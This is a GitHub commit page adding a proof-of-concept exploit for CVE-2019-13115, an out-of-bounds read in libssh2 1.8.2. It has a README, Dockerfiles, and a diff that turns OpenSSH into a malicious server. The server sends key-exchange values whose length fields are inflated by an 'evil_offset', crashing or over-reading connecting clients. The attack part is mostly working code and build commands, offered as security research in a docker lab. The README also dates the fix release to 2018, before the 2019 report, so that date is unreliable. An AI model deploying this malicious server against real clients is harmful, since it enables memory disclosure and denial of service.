Skip to content

Commit 4460484

Browse files
authored
Merge pull request #10 from kevinbackhouse/libssh2
Exploit PoC for out-of-bounds read in libssh2 version 1.8.2
2 parents 536decb + c8dca9d commit 4460484

6 files changed

Lines changed: 320 additions & 0 deletions

File tree

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Out-of-bounds read in libssh2 (CVE-2019-13115)
2+
3+
[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20.
4+
5+
This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client.
6+
7+
I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function:
8+
9+
```
10+
int _libssh2_check_length(struct string_buf *buf, size_t len)
11+
{
12+
return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0;
13+
}
14+
```
15+
16+
The above code snippet is from revision [38bf7ce](https://github.com/libssh2/libssh2/blob/38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa/src/misc.c#L814). The PoC works by making `len` greater than `buf->len + 0x80000000` so that the calculation of `(int)(buf->len - len)` overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that `_libssh2_check_length` was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of `len` can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named `evil_offset` in [`diff.txt`](server/home/diff.txt#L53) and change its value to something smaller.
17+
18+
## Network setup
19+
20+
Create a docker network bridge, to simulate a network with two separate computers.
21+
22+
```
23+
docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network
24+
```
25+
26+
## Server setup
27+
28+
Build the docker image:
29+
30+
```
31+
docker build server -t libssh2-server --build-arg UID=`id -u`
32+
```
33+
34+
Start the container:
35+
36+
```
37+
docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server
38+
```
39+
40+
Start the malicious ssh server:
41+
42+
```
43+
sudo /usr/local/sbin/sshd # password is x
44+
```
45+
46+
## Client setup
47+
48+
Build the docker image:
49+
50+
```
51+
docker build client -t libssh2-client --build-arg UID=`id -u`
52+
```
53+
54+
Start the container:
55+
56+
```
57+
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client
58+
```
59+
60+
If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments:
61+
62+
```
63+
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client
64+
```
65+
66+
In the container, attempt to connect to the server:
67+
68+
```
69+
cd ~/libssh2/example
70+
./ssh2 172.18.0.10 hal x
71+
```
72+
73+
This command crashes with a segmentation fault.
74+
75+
If you would like to debug libssh2 with gdb, then start it like this:
76+
77+
```
78+
cd ~/libssh2/example/.libs
79+
LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x
80+
```
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
sudo tmux screen emacs git gdb net-tools psmisc \
6+
build-essential autoconf automake libtool g++ \
7+
libssl-dev
8+
9+
ARG UID=1000
10+
11+
# Create a non-root user account to run Libssh2.
12+
RUN adduser victim --disabled-password --uid $UID
13+
14+
# Grant the 'victim' user sudo access. This is not used for the
15+
# demo, but it is often handy for installing extra packages.
16+
RUN adduser victim sudo
17+
RUN echo "victim:x" | chpasswd
18+
COPY home/ /home/victim/
19+
RUN chown -R victim:victim /home/victim
20+
21+
# Switch over to the 'victim' user, since root access is no longer required
22+
USER victim
23+
WORKDIR /home/victim
24+
25+
# Checkout and build libssh2-1.8.2 (commit 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb).
26+
# Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa,
27+
# which is the commit which contained the bad implementation of _libssh2_check_length.
28+
RUN git clone https://github.com/libssh2/libssh2.git && \
29+
cd libssh2 && \
30+
git checkout 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb && \
31+
./buildconf && \
32+
./configure && \
33+
make -j4
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Enable 256 colors
2+
set -g default-terminal "screen-256color"
3+
4+
# Enable using the mouse to switch windows.
5+
set -g mouse on
6+
7+
# Don't lose track of SSH_AGENT etc. from parent environment.
8+
set -g update-environment -r
9+
10+
# history buffer size
11+
set-option -g history-limit 100000
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
sudo tmux screen emacs git gdb net-tools psmisc \
6+
build-essential autoconf g++ \
7+
libssl-dev zlib1g-dev
8+
9+
ARG UID=1000
10+
11+
# Create a non-root user account to build openssh-server.
12+
RUN adduser hal --disabled-password --uid $UID
13+
14+
# Grant the 'hal' user sudo access. This is not used for the demo,
15+
# but it is often handy for installing extra packages.
16+
RUN adduser hal sudo
17+
RUN echo "hal:x" | chpasswd
18+
COPY home/ /home/hal/
19+
RUN chown -R hal:hal /home/hal
20+
21+
# Create the sshd user
22+
RUN mkdir /var/empty && \
23+
chown root:sys /var/empty && \
24+
chmod 755 /var/empty && \
25+
groupadd sshd && \
26+
useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd
27+
28+
# Switch over to the 'hal' user, since root access is no longer required
29+
USER hal
30+
WORKDIR /home/hal
31+
32+
# Clone openssh, insert some malicious code, and built it.
33+
RUN git clone https://github.com/openssh/openssh-portable.git && \
34+
cd openssh-portable && \
35+
git checkout 21da87f439b48a85b951ef1518fe85ac0273e719 && \
36+
git apply /home/hal/diff.txt && \
37+
autoreconf && \
38+
./configure && \
39+
make
40+
41+
# Install openssh.
42+
USER root
43+
RUN cd /home/hal/openssh-portable && make install
44+
USER hal
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Enable 256 colors
2+
set -g default-terminal "screen-256color"
3+
4+
# Enable using the mouse to switch windows.
5+
set -g mouse on
6+
7+
# Don't lose track of SSH_AGENT etc. from parent environment.
8+
set -g update-environment -r
9+
10+
# history buffer size
11+
set-option -g history-limit 100000
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
diff --git a/kexgexs.c b/kexgexs.c
2+
index 8ee3aacc..8f37c421 100644
3+
--- a/kexgexs.c
4+
+++ b/kexgexs.c
5+
@@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh)
6+
debug("SSH2_MSG_KEX_DH_GEX_GROUP sent");
7+
DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g);
8+
if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 ||
9+
- (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 ||
10+
- (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 ||
11+
+ (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 ||
12+
+ (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 ||
13+
(r = sshpkt_send(ssh)) != 0)
14+
goto out;
15+
16+
diff --git a/packet.c b/packet.c
17+
index 36e352b4..e4a1a06b 100644
18+
--- a/packet.c
19+
+++ b/packet.c
20+
@@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v)
21+
{
22+
return sshbuf_put_bignum2(ssh->state->outgoing_packet, v);
23+
}
24+
+
25+
+int
26+
+sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v)
27+
+{
28+
+ return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v);
29+
+}
30+
#endif /* WITH_OPENSSL */
31+
32+
/* fetch data from the incoming packet */
33+
diff --git a/packet.h b/packet.h
34+
index 0dfa36da..93ea6c77 100644
35+
--- a/packet.h
36+
+++ b/packet.h
37+
@@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v);
38+
int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v);
39+
int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g);
40+
int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v);
41+
+int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v);
42+
43+
int sshpkt_get(struct ssh *ssh, void *valp, size_t len);
44+
int sshpkt_get_u8(struct ssh *ssh, u_char *valp);
45+
diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c
46+
index 50648258..34ec3be5 100644
47+
--- a/sshbuf-getput-basic.c
48+
+++ b/sshbuf-getput-basic.c
49+
@@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len)
50+
return 0;
51+
}
52+
53+
+const size_t evil_offset = 0x80000200; // Edit evil offset here
54+
+
55+
+int
56+
+sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len)
57+
+{
58+
+ u_char *d;
59+
+ int r;
60+
+
61+
+ if (len > SSHBUF_SIZE_MAX - 4) {
62+
+ SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE"));
63+
+ return SSH_ERR_NO_BUFFER_SPACE;
64+
+ }
65+
+ if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0)
66+
+ return r;
67+
+ POKE_U32(d, len + evil_offset);
68+
+ if (len != 0)
69+
+ memcpy(d + 4, v, len);
70+
+ return 0;
71+
+}
72+
+
73+
int
74+
sshbuf_put_cstring(struct sshbuf *buf, const char *v)
75+
{
76+
diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c
77+
index 3dd1e144..cbf3977f 100644
78+
--- a/sshbuf-getput-crypto.c
79+
+++ b/sshbuf-getput-crypto.c
80+
@@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v)
81+
return 0;
82+
}
83+
84+
+int
85+
+sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v)
86+
+{
87+
+ u_char d[SSHBUF_MAX_BIGNUM + 1];
88+
+ int len = BN_num_bytes(v), prepend = 0, r;
89+
+
90+
+ if (len < 0 || len > SSHBUF_MAX_BIGNUM)
91+
+ return SSH_ERR_INVALID_ARGUMENT;
92+
+ *d = '\0';
93+
+ if (BN_bn2bin(v, d + 1) != len)
94+
+ return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */
95+
+ /* If MSB is set, prepend a \0 */
96+
+ if (len > 0 && (d[1] & 0x80) != 0)
97+
+ prepend = 1;
98+
+ if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) {
99+
+ explicit_bzero(d, sizeof(d));
100+
+ return r;
101+
+ }
102+
+ explicit_bzero(d, sizeof(d));
103+
+ return 0;
104+
+}
105+
+
106+
#ifdef OPENSSL_HAS_ECC
107+
int
108+
sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g)
109+
diff --git a/sshbuf.h b/sshbuf.h
110+
index 7900b82b..f8632bcb 100644
111+
--- a/sshbuf.h
112+
+++ b/sshbuf.h
113+
@@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp);
114+
int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp);
115+
int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v);
116+
int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len);
117+
+int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len);
118+
int sshbuf_put_cstring(struct sshbuf *buf, const char *v);
119+
int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v);
120+
121+
@@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf,
122+
#ifdef WITH_OPENSSL
123+
int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp);
124+
int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v);
125+
+int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v);
126+
# ifdef OPENSSL_HAS_ECC
127+
int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g);
128+
int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v);
129+
diff --git a/sshd_config b/sshd_config
130+
index 19b7c91a..82a08747 100644
131+
--- a/sshd_config
132+
+++ b/sshd_config
133+
@@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys
134+
#ChrootDirectory none
135+
#VersionAddendum none
136+
137+
+KexAlgorithms diffie-hellman-group-exchange-sha256
138+
+
139+
# no default banner path
140+
#Banner none
141+

0 commit comments

Comments
 (0)